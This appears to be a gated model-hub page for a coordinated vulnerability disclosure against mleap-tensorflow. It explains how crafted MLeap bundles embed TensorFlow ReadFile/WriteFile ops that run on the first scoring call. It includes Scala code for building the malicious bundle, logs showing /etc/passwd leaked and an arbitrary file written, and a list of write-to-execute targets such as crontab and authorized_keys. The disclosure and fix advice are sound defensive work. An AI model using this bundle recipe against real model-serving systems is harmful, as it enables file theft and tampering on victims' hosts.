You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains security-research proof-of-concept artifacts: deliberately malicious MLeap bundles (real MLeap-serialized model files) that embed TensorFlow file-system ops which EXECUTE when the bundle is loaded and scored, giving arbitrary file read and arbitrary file write in the loading process (escalating to remote code execution via write-to-execute gadgets). They are provided solely for coordinated vulnerability disclosure and defensive verification, and must be used in an isolated sandbox only. By requesting access you confirm that (1) you will only load these bundles inside an isolated, disposable sandbox, (2) you will not deploy or redistribute them against systems you do not own or operate, and (3) you understand they are bug-triggering artifacts, not usable models. Access is granted to protectai-bot for bounty review and to the vendor for coordinated disclosure.

Log in or Sign Up to review the conditions and access this model content.

Security research PoC β€” gated; access granted to protectai-bot

This is a gated security-research artifact published for coordinated vulnerability disclosure (huntr.com / ProtectAI ML model-file bounty, Target = mleap). Access is restricted and reviewed.

⚠️ What these files are

evil_bundle.zip and read_bundle.zip are malicious MLeap bundles β€” real, format-correct MLeap-serialized model files (~1.2 KB each: evil_bundle.zip = 1176 bytes, read_bundle.zip = 1206 bytes), produced by MLeap's own writeBundle serializer. They do not perform any useful inference. Their only purpose is to drive mleap-tensorflow's frozen-graph deserialization path into executing attacker-embedded TensorFlow file-system ops inside the loading JVM process.

They fire at the first transform() / scoring call (lazy TensorFlow-session materialization), not at loadMleapBundle() time. In any real serving deployment the first scoring request is the model's first use and triggers the op before any legitimate output is produced.

Do NOT load these files outside an isolated, disposable sandbox. Loading and scoring either bundle executes embedded TensorFlow ops in your process's own authority.

The bundle files

File Embedded op What it triggers
evil_bundle.zip WriteFile Arbitrary file write β€” writes /tmp/mleap_rce_proof (attacker-chosen absolute path) with content PWNED_BY_MLEAP_TF_GRAPH_OP, outside the bundle's extracted temp dir.
read_bundle.zip ReadFile Arbitrary file read β€” reads /etc/passwd and returns its bytes to the caller via MLeap's fetched model output.

Both are real MLeap bundles built and loaded entirely through the library's public API. Both the write and the read primitives are dynamically demonstrated below (not asserted).

Root cause

MLeap reads the raw graph bytes, the target node list, and the format string straight out of the attacker-controlled bundle and imports them into a live TF graph with no op allowlist.

mleap-tensorflow/src/main/scala/ml/combust/mleap/tensorflow/TensorflowModel.scala:78-93

case Some("graph") | None => getSessionFromFrozenGraph
...
private def getSessionFromFrozenGraph: (tensorflow.Session, tensorflow.Graph) = {
  val g = new tensorflow.Graph()
  g.importGraphDef(GraphDef.parseFrom(modelBytes))   // 89-93: no op allowlist / validation
  (new tensorflow.Session(g), g)
}

apply() then fetches the attacker-named outputs and adds the attacker-named nodes as run targets before executing the session β€” the attacker fully drives which ops run:

mleap-tensorflow/src/main/scala/ml/combust/mleap/tensorflow/TensorflowModel.scala:51-61

outputs.foreach { case (name, _) => runner.fetch(name) }        // attacker output names β†’ file READ
nodes.foreach { _.foreach { name => runner.addTarget(name) } }  // attacker node names β†’ file WRITE
runner.run()                                                    // executes embedded ops

The format, nodes, outputs, and raw GraphDef (graph.pb) are read out of the bundle by TensorflowTransformerOp.load() (TensorflowTransformerOp.scala:56,66,74-85). There is no allowlist, denylist, sandbox, or any security check between importGraphDef and runner.run(). The default (format=None) and "graph" formats both route to getSessionFromFrozenGraph. This is graph-op file I/O: the frozen-graph path has no eager execution / tf.py_function, so RCE is a realistic escalation via write-to-execute gadgets, not a demonstrated shell.

Reproduction

End-to-end in a Docker-isolated Linux container, resolving the shipped artifact from Maven Central (not a local rebuild), using only the public MLeap API. Stack: virtuslab/scala-cli:latest (JDK 17 temurin), Scala 2.12.18, mleap-tensorflow_2.12:0.23.3 + mleap-runtime_2.12:0.23.3, tensorflow-core-platform:0.5.0 (TF 2.10.1 native).

bash poc/run_poc.sh   # via poc/docker-compose.yml

run_poc.sh warms the coursier cache, then: builds evil_bundle.zip via MLeap writeBundle, loads it with loadMleapBundle(), calls transform() (β†’ arbitrary write); runs the ReadFile variant (β†’ /etc/passwd leak); runs the negative control (nodes=None); and runs the attribution probe (unwritable path β†’ MLeap-framed stack). The attacker bundle is built like:

val graph = new tensorflow.Graph(); val tf = Ops.create(graph)
val writeOp = tf.io.writeFile(tf.constant("/tmp/mleap_rce_proof"),
                              tf.constant("PWNED_BY_MLEAP_TF_GRAPH_OP"))
val model = TensorflowModel(inputs = Seq.empty, outputs = Seq.empty,
              nodes = Some(Seq(writeOp.op().name())),   // "WriteFile"
              format = None, modelBytes = graph.toGraphDef.toByteArray)
val transformer = TensorflowTransformer(uid = "malicious_tf_rce", shape = NodeShape(), model = model)
transformer.writeBundle.name("bundle").format(SerializationFormat.Json).save(bundleFile)

and loaded by the victim with the library's documented usage:

val t = bf.loadMleapBundle().get.root.asInstanceOf[TensorflowTransformer]
t.transform(DefaultLeapFrame(StructType(Seq()).get, Seq(Row())))   // WriteFile fires here

Observed results (verbatim)

Arbitrary file write (logs/write_stdout.log):

[+] Bundle loaded: uid=malicious_tf_rce
[+] Model nodes: Some(List(WriteFile))
[*] Calling transformer.transform() ...
[+] transform() returned successfully

[!!!] RCE CONFIRMED
[!!!] File:     /tmp/mleap_rce_proof
[!!!] Contents: PWNED_BY_MLEAP_TF_GRAPH_OP
[!!!] rc2: PASS β€” content matches exactly

The path /tmp/mleap_rce_proof is an absolute path chosen entirely by the embedded op β€” outside the bundle's extracted temp directory.

Arbitrary file read β€” leaked real /etc/passwd (logs/read_etcpasswd_stdout.log):

[+] Bundle loaded: uid=malicious_tf_read
[+] Model outputs (fetched by MLeap): List((ReadFile,TensorType(string,Some(List()),true)))
[+] Model nodes: None
[*] Calling transformer.model.apply() (fetches ReadFile output) ...
[+] model.apply() returned 1 output(s)

[!!!] ARBITRARY FILE READ CONFIRMED (C:H)
[!!!] Leaked /etc/passwd via embedded TF ReadFile op, returned through MLeap:
----- BEGIN LEAKED /etc/passwd -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
----- END LEAKED /etc/passwd -----
readfile: PASS

The returned bytes are real /etc/passwd content the caller never supplied.

Library attribution β€” the unwritable-path variant forces the TF kernel to throw, surfacing the Java call stack through the MLeap library (logs/attribution_stdout.log):

org.tensorflow.exceptions.TensorFlowException: /proc/nonexistent_dir_xyz; No such file or directory
     [[{{node WriteFile}}]]
  at org.tensorflow.Session$Runner.run(Session.java:485)
  at ml.combust.mleap.tensorflow.TensorflowModel.$anonfun$apply$3(TensorflowModel.scala:59)
  at ml.combust.mleap.tensorflow.TensorflowModel.withSession(TensorflowModel.scala:84)
  at ml.combust.mleap.tensorflow.TensorflowModel.apply(TensorflowModel.scala:33)
  at ml.combust.mleap.tensorflow.TensorflowTransformer.transform(TensorflowTransformer.scala:32)
rc3: PASS β€” ml.combust.mleap.tensorflow.TensorflowModel present in stack

Execution provably goes through ml.combust.mleap.tensorflow.TensorflowModel, not a hand-rolled runner: the chain is TensorflowTransformer.transform β†’ TensorflowModel.apply β†’ withSession β†’ Session.Runner.run. (getSessionFromFrozenGraph is invoked inside withSession at TensorflowModel.scala:84; session/graph creation is inlined into that frame.)

Negative control (logs/write_stdout.log) β€” identical bundle with nodes = None:

[+] Benign bundle loaded: uid=benign_tf_control, nodes=None
[*] Calling transform() on benign bundle ...
[!] transform() Failure: Must specify at least one target to fetch or execute.
[+] rc4: PASS β€” /tmp/mleap_rce_proof NOT created (negative control clean)

The failure is emitted by TF's own Session.Runner.run(). The only differentiator between code execution and no-op is the attacker-controlled nodes field in the bundle.

Affected versions

mleap-tensorflow 0.18.1 β†’ 0.23.3 (latest published on Maven Central), no fix available. Verified by grepping TensorflowModel.scala in the published -sources.jar artifacts (logs/version_check.log):

version range frozen-graph importGraphDef path
0.14.0 – 0.17.0 ABSENT (not vulnerable)
0.18.1 – 0.23.3 VULNERABLE β€” no op allowlist

The unguarded importGraphDef(GraphDef.parseFrom(modelBytes)) path was introduced at 0.18.1; 0.14.0–0.17.0 lack it. 0.24.0 is not published on Maven Central.

Severity

CWE-94 / CWE-502-adjacent.

  • Primary (local / supply-chain bundle delivery): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H β†’ 7.8 β€” High.
  • Availability floor (A:N): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N β†’ 7.1 β€” High.

Honest caveats: execution fires at the first transform() (not at load); both READ and WRITE are dynamically demonstrated above; RCE is a realistic escalation via write-to-execute gadgets (crontab / ~/.bashrc / authorized_keys / app config), not a demonstrated shell (the frozen-graph path has no eager / tf.py_function). Scope is the local AV:L vector only β€” the SSRF serving-stack delivery angle is a separate GHSA and is not folded into this score (no AV:N / 10.0 here). Affected population = mleap-tensorflow module users (module on the classpath).

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection') / CWE-502-adjacent: Deserialization of Untrusted Data leading to execution.

Suggested fix

  1. Operator allowlist on the frozen-graph path: before executing, reject any imported GraphDef containing ops outside a small allowlist of math/inference ops; file-system / I/O ops (WriteFile, ReadFile, and similar) must never be permitted from a deserialized bundle.
  2. Do not import untrusted GraphDef into an executable session without sandboxing (isolated process/container, no filesystem or network access).
  3. Document the trust boundary: state that loading + scoring an untrusted MLeap bundle can execute embedded ops. Currently there are zero security warnings in any MLeap doc (a full-repo grep for untrusted|trust|sandbox|arbitrary|malicious|security|warn returns no relevant results).

Responsible disclosure

Reported under coordinated disclosure (huntr.com / ProtectAI bounty, "AI/ML models" track, Target = mleap). This artifact is gated and must remain private until the vendor has shipped a fix and agreed to publication. Credit: j0hndo (dohyun4466@gmail.com).

Dedup: filed as a distinct finding from CVE-2023-5245 (XRAY-532656, JFrog) β€” a zip-slip in FileUtil.extract() on the saved_model format, fixed in 0.23.1, occurring at extraction time. The frozen-graph importGraphDef op-execution path reported here is a different code path (different format, function, mechanism, and timing) and remains unfixed in 0.23.3.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support